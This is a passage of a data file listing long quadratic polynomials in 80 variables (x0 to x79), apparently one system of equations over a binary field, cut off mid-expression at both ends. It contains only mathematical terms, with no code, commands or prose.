x55*x70 + x55*x72 + x55*x74 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x61 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x68 + x56*x69 + x56*x73 + x56*x74 + x57*x60 + x57*x61 + x57*x63 + x57*x64 + x57*x65 + x57*x66 + x57*x67 + x57*x69 + x57*x70 + x57*x72 + x57*x73 + x57*x74 + x57*x76 + x57*x79 + x58*x60 + x58*x62 + x58*x64 + x58*x66 + x58*x67 + x58*x72 + x58*x76 + x58*x78 + x59*x60 + x59*x61 + x59*x62 + x59*x64 + x59*x69 + x59*x72 + x59*x74 + x59*x75 + x59*x77 + x59*x78 + x59*x79 + x59 + x60*x63 + x60*x64 + x60*x65 + x60*x67 + x60*x68 + x60*x70 + x60*x73 + x60*x74 + x60*x76 + x60*x79 + x61*x62 + x61*x63 + x61*x66 + x61*x69 + x61*x73 + x61*x75 + x61*x77 + x61*x78 + x61*x79 + x61 + x62*x65 + x62*x66 + x62*x68 + x62*x72 + x62*x73 + x62*x75 + x62*x79 + x62 + x63*x68 + x63*x69 + x63*x70 + x63*x74 + x63*x75 + x63*x76 + x63*x77 + x64*x65 + x64*x66 + x64*x69 + x64*x70 + x64*x72 + x64*x76 + x64*x79 + x64 + x65*x66 + x65*x68 + x65*x69 + x65*x71 + x65*x72 + x65*x74 + x65*x75 + x65*x76 + x65*x78 + x65 + x66*x68 + x66*x71 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x66*x79 + x66 + x67*x71 + x67*x72 + x67*x74 + x67*x76 + x67*x77 + x67 + x68*x72 + x68*x74 + x68*x75 + x68*x76 + x69*x70 + x69*x77 + x69*x78 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x74 + x70*x75 + x70*x77 + x71*x72 + x71*x74 + x71*x75 + x71*x77 + x71*x78 + x71 + x72*x74 + x72*x76 + x73*x74 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x75 + x74*x76 + x74 + x76*x77 + x76*x79 + x77*x78 + x77 + x78*x79 + x79 + 1, x0*x5 + x0*x6 + x0*x9 + x0*x10 + x0*x11 + x0*x14 + x0*x15 + x0*x16 + x0*x19 + x0*x20 + x0*x21 + x0*x24 + x0*x25 + x0*x30 + x0*x31 + x0*x32 + x0*x35 + x0*x36 + x0*x37 + x0*x38 + x0*x39 + x0*x46 + x0*x48 + x0*x49 + x0*x52 + x0*x54 + x0*x58 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x64 + x0*x66 + x0*x67 + x0*x68 + x0*x70 + x0*x71 + x0*x72 + x0*x73 + x0*x74 + x0*x75 + x1*x4 + x1*x6 + x1*x7 + x1*x8 + x1*x11 + x1*x17 + x1*x18 + x1*x20 + x1*x21 + x1*x23 + x1*x27 + x1*x28 + x1*x29 + x1*x35 + x1*x36 + x1*x37 + x1*x39 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x47 + x1*x50 + x1*x52 + x1*x54 + x1*x56 + x1*x58 + x1*x60 + x1*x62 + x1*x67 + x1*x68 + x1*x69 + x1*x73 + x1*x75 + x1*x79 + x2*x4 + x2*x7 + x2*x8 + x2*x10 + x2*x11 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x18 + x2*x20 + x2*x21 + x2*x22 + x2*x23 + x2*x24 + x2*x25 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x35 + x2*x36 + x2*x37 + x2*x38 + x2*x41 + x2*x42 + x2*x45 + x2*x46 + x2*x47 + x2*x48 + x2*x49 + x2*x52 + x2*x53 + x2*x57 + x2*x59 + x2*x60 + x2*x61 + x2*x62 + x2*x64 + x2*x65 + x2*x66 + x2*x67 + x2*x68 + x2*x69 + x2*x72 + x2*x73 + x2*x77 + x2*x79 + x3*x6 + x3*x11 + x3*x16 + x3*x17 + x3*x19 + x3*x20 + x3*x24 + x3*x26 + x3*x27 + x3*x29 + x3*x30 + x3*x31 + x3*x34 + x3*x35 + x3*x37 + x3*x38 + x3*x39 + x3*x43 + x3*x47 + x3*x49 + x3*x51 + x3*x55 + x3*x61 + x3*x63 + x3*x64 + x3*x68 + x3*x69 + x3*x70 + x3*x74 + x3*x77 + x3*x78 + x3*x79 + x4*x6 + x4*x9 + x4*x11 + x4*x14 + x4*x17 + x4*x19 + x4*x20 + x4*x22 + x4*x25 + x4*x28 + x4*x29 + x4*x30 + x4*x33 + x4*x34 + x4*x35 + x4*x36 + x4*x37 + x4*x38 + x4*x40 + x4*x41 + x4*x42 + x4*x44 + x4*x46 + x4*x48 + x4*x49 + x4*x51 + x4*x52 + x4*x53 + x4*x54 + x4*x57 + x4*x58 + x4*x68 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x79 + x5*x8 + x5*x9 + x5*x11 + x5*x12 + x5*x15 + x5*x17 + x5*x19 + x5*x20 + x5*x23 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x33 + x5*x35 + x5*x36 + x5*x37 + x5*x38 + x5*x39 + x5*x41 + x5*x43 + x5*x44 + x5*x47 + x5*x48 + x5*x49 + x5*x51 + x5*x52 + x5*x53 + x5*x55 + x5*x56 + x5*x59 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x69 + x5*x72 + x5*x74 + x5*x77 + x6*x7 + x6*x8 + x6*x11 + x6*x14 + x6*x16 + x6*x19 + x6*x21 + x6*x25 + x6*x26 + x6*x28 + x6*x32 + x6*x33 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x39 + x6*x41 + x6*x42 + x6*x44 + x6*x46 + x6*x48 + x6*x53 + x6*x55 + x6*x56 + x6*x57 + x6*x63 + x6*x66 + x6*x67 + x6*x70 + x6*x71 + x6*x75 + x6*x76 + x6*x77 + x6*x78 + x6*x79 + x6 + x7*x8 + x7*x9 + x7*x10 + x7*x11 + x7*x12 + x7*x16 + x7*x18 + x7*x19 + x7*x21 + x7*x24 + x7*x26 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x37 + x7*x39 + x7*x41 + x7*x42 + x7*x43 + x7*x44 + x7*x45 + x7*x47 + x7*x49 + x7*x55 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x61 + x7*x62 + x7*x63 + x7*x65 + x7*x68 + x7*x69 + x7*x74 + x7*x78 + x8*x9 + x8*x12 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x20 + x8*x21 + x8*x23 + x8*x27 + x8*x30 + x8*x32 + x8*x33 + x8*x34 + x8*x37 + x8*x38 + x8*x41 + x8*x42 + x8*x45 + x8*x48 + x8*x49 + x8*x51 + x8*x52 + x8*x54 + x8*x55 + x8*x57 + x8*x58 + x8*x59 + x8*x64 + x8*x65 + x8*x66 + x8*x69 + x8*x71 + x8*x72 + x8*x74 + x8*x78 + x8*x79 + x9*x10 + x9*x11 + x9*x15 + x9*x17 + x9*x19 + x9*x22 + x9*x23 + x9*x29 + x9*x30 + x9*x31 + x9*x32 + x9*x33 + x9*x35 + x9*x38 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x44 + x9*x48 + x9*x50 + x9*x51 + x9*x52 + x9*x53 + x9*x55 + x9*x57 + x9*x59 + x9*x60 + x9*x63 + x9*x64 + x9*x66 + x9*x68 + x9*x72 + x9*x73 + x9*x74 + x9*x75 + x9*x76 + x9*x77 + x9*x78 + x9 + x10*x11 + x10*x12 + x10*x13 + x10*x15 + x10*x17 + x10*x19 + x10*x24 + x10*x27 + x10*x29 + x10*x30 + x10*x34 + x10*x35 + x10*x38 + x10*x40 + x10*x41 + x10*x42 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x50 + x10*x52 + x10*x53 + x10*x54 + x10*x56 + x10*x57 + x10*x58 + x10*x60 + x10*x61 + x10*x64 + x10*x67 + x10*x68 + x10*x69 + x10*x72 + x10*x76 + x10*x79 + x10 + x11*x14 + x11*x15 + x11*x19 + x11*x22 + x11*x24 + x11*x25 + x11*x26 + x11*x30 + x11*x32 + x11*x34 + x11*x35 + x11*x37 + x11*x38 + x11*x39 + x11*x42 + x11*x43 + x11*x46 + x11*x48 + x11*x51 + x11*x56 + x11*x57 + x11*x58 + x11*x60 + x11*x61 + x11*x62 + x11*x63 + x11*x64 + x11*x66 + x11*x68 + x11*x70 + x11*x72 + x11*x77 + x11*x79 + x12*x13 + x12*x15 + x12*x17 + x12*x18 + x12*x19 + x12*x20 + x12*x22 + x12*x23 + x12*x25 + x12*x26 + x12*x27 + x12*x30 + x12*x32 + x12*x34 + x12*x35 + x12*x36 + x12*x37 + x12*x39 + x12*x42 + x12*x45 + x12*x46 + x12*x47 + x12*x48 + x12*x49 + x12*x54 + x12*x60 + x12*x61 + x12*x63 + x12*x66 + x12*x67 + x12*x68 + x12*x69 + x12*x70 + x12*x75 + x12*x76 + x12*x78 + x13*x16 + x13*x19 + x13*x22 + x13*x23 + x13*x25 + x13*x27 + x13*x28 + x13*x34 + x13*x39 + x13*x43 + x13*x47 + x13*x49 + x13*x53 + x13*x56 + x13*x57 + x13*x58 + x13*x60 + x13*x62 + x13*x63 + x13*x64 + x13*x65 + x13*x67 + x13*x71 + x13*x72 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x79 + x13 + x14*x17 + x14*x20 + x14*x23 + x14*x24 + x14*x26 + x14*x28 + x14*x29 + x14*x31 + x14*x34 + x14*x36 + x14*x38 + x14*x39 + x14*x41 + x14*x45 + x14*x48 + x14*x49 + x14*x51 + x14*x52 + x14*x53 + x14*x55 + x14*x56 + x14*x60 + x14*x63 + x14*x64 + x14*x65 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x77 + x15*x16 + x15*x20 + x15*x24 + x15*x26 + x15*x29 + x15*x31 + x15*x33 + x15*x34 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x43 + x15*x45 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x53 + x15*x55 + x15*x57 + x15*x58 + x15*x59 + x15*x60 + x15*x62 + x15*x64 + x15*x67 + x15*x75 + x15*x78 + x15 + x16*x17 + x16*x19 + x16*x22 + x16*x25 + x16*x27 + x16*x31 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x39 + x16*x40 + x16*x43 + x16*x44 + x16*x45 + x16*x46 + x16*x47 + x16*x48 + x16*x51 + x16*x53 + x16*x55 + x16*x57 + x16*x58 + x16*x60 + x16*x62 + x16*x64 + x16*x65 + x16*x67 + x16*x70 + x16*x73 + x16*x74 + x16*x76 + x16*x77 + x17*x18 + x17*x19 + x17*x21 + x17*x23 + x17*x24 + x17*x28 + x17*x29 + x17*x30 + x17*x31 + x17*x35 + x17*x38 + x17*x41 + x17*x43 + x17*x44 + x17*x46 + x17*x47 + x17*x50 + x17*x52 + x17*x54 + x17*x56 + x17*x58 + x17*x60 + x17*x64 + x17*x65 + x17*x68 + x17*x70 + x17*x72 + x17*x74 + x17*x75 + x17*x78 + x18*x22 + x18*x23 + x18*x28 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x37 + x18*x38 + x18*x39 + x18*x40 + x18*x46 + x18*x50 + x18*x51 + x18*x54 + x18*x56 + x18*x61 + x18*x62 + x18*x63 + x18*x64 + x18*x66 + x18*x67 + x18*x68 + x18*x70 + x18*x71 + x18*x73 + x18*x74 + x18 + x19*x22 + x19*x23 + x19*x24 + x19*x26 + x19*x27 + x19*x31 + x19*x32 + x19*x35 + x19*x36 + x19*x37 + x19*x40 + x19*x42 + x19*x43 + x19*x44 + x19*x45 + x19*x47 + x19*x48 + x19*x54 + x19*x56 + x19*x59 + x19*x62 + x19*x63 + x19*x65 + x19*x68 + x19*x69 + x19*x70 + x19*x71 + x19*x74 + x19*x76 + x19*x78 + x19*x79 + x20*x21 + x20*x22 + x20*x26 + x20*x28 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x34 + x20*x36 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x45 + x20*x47 + x20*x49 + x20*x53 + x20*x59 + x20*x60 + x20*x62 + x20*x63 + x20*x65 + x20*x66 + x20*x69 + x20*x70 + x20*x73 + x20*x74 + x20*x76 + x20*x77 + x20*x78 + x21*x23 + x21*x24 + x21*x26 + x21*x28 + x21*x31 + x21*x33 + x21*x34 + x21*x35 + x21*x38 + x21*x39 + x21*x41 + x21*x43 + x21*x44 + x21*x46 + x21*x49 + x21*x50 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x56 + x21*x57 + x21*x61 + x21*x64 + x21*x66 + x21*x67 + x21*x68 + x21*x69 + x21*x71 + x21*x74 + x21*x75 + x21*x76 + x21*x79 + x21 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x32 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x43 + x22*x44 + x22*x45 + x22*x46 + x22*x48 + x22*x49 + x22*x53 + x22*x55 + x22*x56 + x22*x57 + x22*x58 + x22*x60 + x22*x61 + x22*x63 + x22*x64 + x22*x66 + x22*x68 + x22*x71 + x22*x75 + x22*x77 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x28 + x23*x30 + x23*x35 + x23*x37 + x23*x42 + x23*x46 + x23*x48 + x23*x50 + x23*x53 + x23*x55 + x23*x62 + x23*x65 + x23*x67 + x23*x71 + x23*x72 + x23*x76 + x23*x77 + x23*x79 + x24*x27 + x24*x28 + x24*x29 + x24*x32 + x24*x35 + x24*x36 + x24*x37 + x24*x41 + x24*x42 + x24*x43 + x24*x44 + x24*x45 + x24*x49 + x24*x54 + x24*x57 + x24*x63 + x24*x65 + x24*x67 + x24*x70 + x24*x71 + x24*x74 + x24*x77 + x24*x78 + x25*x28 + x25*x29 + x25*x31 + x25*x34 + x25*x35 + x25*x36 + x25*x37 + x25*x40 + x25*x41 + x25*x42 + x25*x44 + x25*x45 + x25*x48 + x25*x51 + x25*x55 + x25*x57 + x25*x59 + x25*x61 + x25*x62 + x25*x66 + x25*x67 + x25*x68 + x25*x74 + x25*x78 + x25*x79 + x26*x29 + x26*x30 + x26*x32 + x26*x34 + x26*x37 + x26*x38 + x26*x41 + x26*x42 + x26*x43 + x26*x44 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x55 + x26*x58 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x66 + x26*x71 + x26*x72 + x26*x74 + x26*x76 + x26*x78 + x26 + x27*x28 + x27*x29 + x27*x31 + x27*x32 + x27*x38 + x27*x41 + x27*x42 + x27*x46 + x27*x47 + x27*x49 + x27*x50 + x27*x51 + x27*x54 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x59 + x27*x62 + x27*x63 + x27*x66 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x74 + x27*x76 + x27*x77 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x32 + x28*x33 + x28*x34 + x28*x36 + x28*x44 + x28*x47 + x28*x56 + x28*x58 + x28*x61 + x28*x65 + x28*x70 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x78 + x28 + x29*x30 + x29*x31 + x29*x32 + x29*x33 + x29*x34 + x29*x36 + x29*x37 + x29*x39 + x29*x40 + x29*x41 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x47 + x29*x49 + x29*x52 + x29*x53 + x29*x54 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x69 + x29*x70 + x29*x71 + x29*x73 + x29*x76 + x29*x77 + x29*x79 + x29 + x30*x32 + x30*x33 + x30*x34 + x30*x42 + x30*x43 + x30*x44 + x30*x47 + x30*x49 + x30*x53 + x30*x60 + x30*x61 + x30*x62 + x30*x64 + x30*x66 + x30*x67 + x30*x68 + x30*x71 + x30*x74 + x30*x77 + x30*x79 + x31*x32 + x31*x34 + x31*x35 + x31*x37 + x31*x41 + x31*x44 + x31*x48 + x31*x57 + x31*x59 + x31*x61 + x31*x63 + x31*x65 + x31*x68 + x31*x70 + x31*x71 + x31*x72 + x31*x76 + x31*x78 + x31*x79 + x32*x33 + x32*x36 + x32*x37 + x32*x39 + x32*x40 + x32*x42 + x32*x44 + x32*x45 + x32*x46 + x32*x47 + x32*x48 + x32*x53 + x32*x54 + x32*x56 + x32*x59 + x32*x66 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x32*x77 + x32*x78 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x41 + x33*x42 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x49 + x33*x50 + x33*x51 + x33*x53 + x33*x55 + x33*x57 + x33*x59 + x33*x60 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x70 + x33*x73 + x33*x75 + x33*x78 + x33*x79 + x33 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x51 + x34*x52 + x34*x53 + x34*x57 + x34*x61 + x34*x63 + x34*x64 + x34*x65 + x34*x67 + x34*x74 + x34*x77 + x34*x79 + x35*x38 + x35*x40 + x35*x43 + x35*x44 + x35*x48 + x35*x50 + x35*x51 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x60 + x35*x62 + x35*x63 + x35*x64 + x35*x65 + x35*x67 + x35*x69 + x35*x70 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x39 + x36*x40 + x36*x45 + x36*x49 + x36*x52 + x36*x53 + x36*x56 + x36*x58 + x36*x59 + x36*x60 + x36*x63 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x69 + x36*x70 + x36*x71 + x36*x74 + x36*x75 + x36*x77 + x37*x42 + x37*x44 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x53 + x37*x55 + x37*x56 + x37*x57 + x37*x59 + x37*x60 + x37*x65 + x37*x66 + x37*x67 + x37*x70 + x37*x72 + x37*x74 + x37*x77 + x38*x39 + x38*x40 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x47 + x38*x49 + x38*x52 + x38*x53 + x38*x54 + x38*x57 + x38*x58 + x38*x70 + x38*x71 + x38*x72 + x38*x74 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x43 + x39*x45 + x39*x48 + x39*x49 + x39*x50 + x39*x51 + x39*x54 + x39*x60 + x39*x61 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x71 + x39*x76 + x39*x79 + x40*x41 + x40*x42 + x40*x44 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x55 + x40*x56 + x40*x57 + x40*x59 + x40*x60 + x40*x61 + x40*x62 + x40*x64 + x40*x65 + x40*x66 + x40*x67 + x40*x69 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40 + x41*x42 + x41*x43 + x41*x45 + x41*x46 + x41*x49 + x41*x51 + x41*x55 + x41*x56 + x41*x58 + x41*x59 + x41*x60 + x41*x62 + x41*x65 + x41*x66 + x41*x68 + x41*x69 + x41*x72 + x41*x73 + x41*x74 + x41*x75 + x41*x76 + x41*x78 + x42*x43 + x42*x44 + x42*x48 + x42*x50 + x42*x51 + x42*x53 + x42*x54 + x42*x56 + x42*x57 + x42*x60 + x42*x62 + x42*x64 + x42*x67 + x42*x68 + x42*x69 + x42*x71 + x42*x72 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x42 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x51 + x43*x52 + x43*x55 + x43*x60 + x43*x62 + x43*x63 + x43*x66 + x43*x68 + x43*x69 + x43*x70 + x43*x72 + x43*x75 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x48 + x44*x50 + x44*x53 + x44*x54 + x44*x56 + x44*x57 + x44*x60 + x44*x65 + x44*x68 + x44*x70 + x44*x71 + x44*x72 + x44*x74 + x44*x76 + x44*x79 + x45*x46 + x45*x48 + x45*x50 + x45*x51 + x45*x52 + x45*x53 + x45*x60 + x45*x61 + x45*x63 + x45*x65 + x45*x66 + x45*x69 + x45*x75 + x45*x79 + x46*x47 + x46*x48 + x46*x51 + x46*x56 + x46*x60 + x46*x61 + x46*x63 + x46*x65 + x46*x69 + x46*x70 + x46*x71 + x46*x72 + x46*x73 + x46*x74 + x46*x79 + x47*x48 + x47*x50 + x47*x52 + x47*x55 + x47*x56 + x47*x60 + x47*x62 + x47*x65 + x47*x67 + x47*x68 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x75 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x52 + x48*x53 + x48*x54 + x48*x57 + x48*x58 + x48*x59 + x48*x60 + x48*x64 + x48*x65 + x48*x69 + x48*x70 + x48*x73 + x48*x76 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x53 + x49*x54 + x49*x56 + x49*x57 + x49*x59 + x49*x60 + x49*x61 + x49*x64 + x49*x65 + x49*x68 + x49*x69 + x49*x71 + x49*x72 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x50*x51 + x50*x55 + x50*x56 + x50*x58 + x50*x62 + x50*x66 + x50*x68 + x50*x70 + x50*x71 + x50*x74 + x50*x76 + x50 + x51*x55 + x51*x57 + x51*x58 + x51*x60 + x51*x61 + x51*x64 + x51*x65 + x51*x66 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x79 + x51 + x52*x53 + x52*x56 + x52*x59 + x52*x64 + x52*x65 + x52*x66 + x52*x67 + x52*x71 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x76 + x52*x79 + x52 + x53*x54 + x53*x57 + x53*x59 + x53*x61 + x53*x65 + x53*x66 + x53*x67 + x53*x71 + x53*x73 + x53*x76 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x59 + x54*x64 + x54*x66 + x54*x67 + x54*x68 + x54*x70 + x54*x73 + x54*x74 + x54*x75 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x57 + x55*x59 + x55*x62 + x55*x66 + x55*x68 + x55*x69 + x55*x71 + x55*x73 + x55*x74 + x55*x79 + x55 + x56*x58 + x56*x69 + x56*x70 + x56*x72 + x56*x74 + x56*x76 + x56*x78 + x57*x58 + x57*x59 + x57*x60 + x57*x61 + x57*x64 + x57*x65 + x57*x67 + x57*x68 + x57*x74 + x57*x76 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x63 + x58*x65 + x58*x66 + x58*x67 + x58*x68 + x58*x71 + x58*x73 + x58*x74 + x58*x75 + x59*x63 + x59*x67 + x59*x68 + x59*x69 + x59*x73 + x59*x74 + x59*x75 + x59*x77 + x59*x78 + x60*x64 + x60*x66 + x60*x68 + x60*x70 + x60*x71 + x60*x74 + x60*x75 + x60*x76 + x60 + x61*x62 + x61*x64 + x61*x65 + x61*x66 + x61*x69 + x61*x79 + x61 + x62*x64 + x62*x66 + x62*x70 + x62*x72 + x62*x74 + x62*x77 + x62*x78 + x63*x65 + x63*x67 + x63*x74 + x63*x75 + x63*x78 + x63*x79 + x64*x65 + x64*x68 + x64*x69 + x64*x71 + x64*x77 + x65*x70 + x65*x71 + x65*x72 + x65*x73 + x65*x75 + x65*x78 + x65*x79 + x65 + x66*x69 + x66*x70 + x66*x76 + x66*x77 + x66*x78 + x66 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x72 + x67*x77 + x67*x78 + x67*x79 + x68*x70 + x68*x71 + x68*x73 + x68*x74 + x68*x75 + x68*x77 + x68*x79 + x68 + x69*x70 + x69*x75 + x69*x78 + x69*x79 + x70*x71 + x70*x72 + x70*x73 + x70*x74 + x70 + x71*x72 + x71*x73 + x71*x75 + x71*x77 + x71 + x72*x74 + x72*x77 + x72*x78 + x72 + x73*x75 + x73*x76 + x73*x77 + x73*x78 + x73*x79 + x74*x77 + x74 + x75*x77 + x75*x78 + x75*x79 + x75 + x76*x79 + x77*x79 + x77 + x78*x79 + x78 + 1, x0*x1 + x0*x2 + x0*x4 + x0*x7 + x0*x8 + x0*x9 + x0*x16 + x0*x19 + x0*x21 + x0*x26 + x0*x27 + x0*x29 + x0*x30 + x0*x31 + x0*x35 + x0*x48 + x0*x50 + x0*x51 + x0*x54 + x0*x56 + x0*x57 + x0*x59 + x0*x60 + x0*x62 + x0*x63 + x0*x65 + x0*x66 + x0*x70 + x0*x72 + x0*x74 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x9 + x1*x10 + x1*x12 + x1*x13 + x1*x15 + x1*x19 + x1*x21 + x1*x23 + x1*x26 + x1*x29 + x1*x32 + x1*x33 + x1*x34 + x1*x36 + x1*x38 + x1*x39 + x1*x40 + x1*x41 + x1*x43 + x1*x44 + x1*x46 + x1*x47 + x1*x51 + x1*x52 + x1*x53 + x1*x55 + x1*x58 + x1*x59 + x1*x63 + x1*x65 + x1*x67 + x1*x69 + x1*x72 + x1*x73 + x1*x78 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x6 + x2*x7 + x2*x9 + x2*x10 + x2*x13 + x2*x15 + x2*x17 + x2*x19 + x2*x20 + x2*x21 + x2*x23 + x2*x25 + x2*x28 + x2*x29 + x2*x31 + x2*x32 + x2*x35 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x43 + x2*x44 + x2*x50 + x2*x52 + x2*x55 + x2*x57 + x2*x58 + x2*x60 + x2*x62 + x2*x64 + x2*x67 + x2*x73 + x2*x79 + x2 + x3*x4 + x3*x6 + x3*x8 + x3*x9 + x3*x10 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x25 + x3*x30 + x3*x33 + x3*x35 + x3*x38 + x3*x39 + x3*x40 + x3*x42 + x3*x44 + x3*x45 + x3*x46 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x56 + x3*x57 + x3*x58 + x3*x60 + x3*x61 + x3*x62 + x3*x63 + x3*x67 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x73 + x3*x74 + x3*x75 + x3*x76 + x3*x77 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x10 + x4*x12 + x4*x13 + x4*x15 + x4*x16 + x4*x20 + x4*x23 + x4*x24 + x4*x25 + x4*x28 + x4*x29 + x4*x32 + x4*x34 + x4*x36 + x4*x41 + x4*x42 + x4*x43 + x4*x47 + x4*x48 + x4*x49 + x4*x53 + x4*x54 + x4*x55 + x4*x62 + x4*x66 + x4*x67 + x4*x69 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4 + x5*x6 + x5*x11 + x5*x13 + x5*x16 + x5*x18 + x5*x19 + x5*x20 + x5*x26 + x5*x28 + x5*x34 + x5*x35 + x5*x37 + x5*x38 + x5*x40 + x5*x41 + x5*x42 + x5*x45 + x5*x57 + x5*x58 + x5*x65 + x5*x70 + x5*x71 + x5*x75 + x5*x77 + x6*x9 + x6*x12 + x6*x13 + x6*x15 + x6*x17 + x6*x18 + x6*x22 + x6*x23 + x6*x24 + x6*x25 + x6*x26 + x6*x27 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x33 + x6*x37 + x6*x40 + x6*x41 + x6*x45 + x6*x48 + x6*x49 + x6*x50 + x6*x51 + x6*x54 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x63 + x6*x66 + x6*x71 + x6*x72 + x6*x74 + x6*x75 + x6*x76 + x6*x77 + x7*x8 + x7*x9 + x7*x12 + x7*x13 + x7*x14 + x7*x15 + x7*x19 + x7*x21 + x7*x22 + x7*x23 + x7*x26 + x7*x28 + x7*x30 + x7*x32 + x7*x35 + x7*x39 + x7*x40 + x7*x42 + x7*x43 + x7*x52 + x7*x53 + x7*x55 + x7*x56 + x7*x58 + x7*x59 + x7*x60 + x7*x65 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x77 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x15 + x8*x17 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x32 + x8*x33 + x8*x34 + x8*x36 + x8*x38 + x8*x39 + x8*x44 + x8*x47 + x8*x51 + x8*x52 + x8*x55 + x8*x58 + x8*x61 + x8*x62 + x8*x63 + x8*x66 + x8*x69 + x8*x70 + x8*x71 + x8*x75 + x8*x76 + x9*x10 + x9*x11 + x9*x13 + x9*x17 + x9*x20 + x9*x21 + x9*x26 + x9*x28 + x9*x31 + x9*x35 + x9*x43 + x9*x44 + x9*x45 + x9*x47 + x9*x54 + x9*x57 + x9*x59 + x9*x60 + x9*x61 + x9*x62 + x9*x66 + x9*x67 + x9*x68 + x9*x69 + x9*x72 + x9*x74 + x9*x75 + x9*x77 + x9*x79 + x10*x13 + x10*x14 + x10*x15 + x10*x18 + x10*x19 + x10*x20 + x10*x21 + x10*x23 + x10*x24 + x10*x25 + x10*x28 + x10*x31 + x10*x33 + x10*x38 + x10*x40 + x10*x41 + x10*x42 + x10*x44 + x10*x47 + x10*x51 + 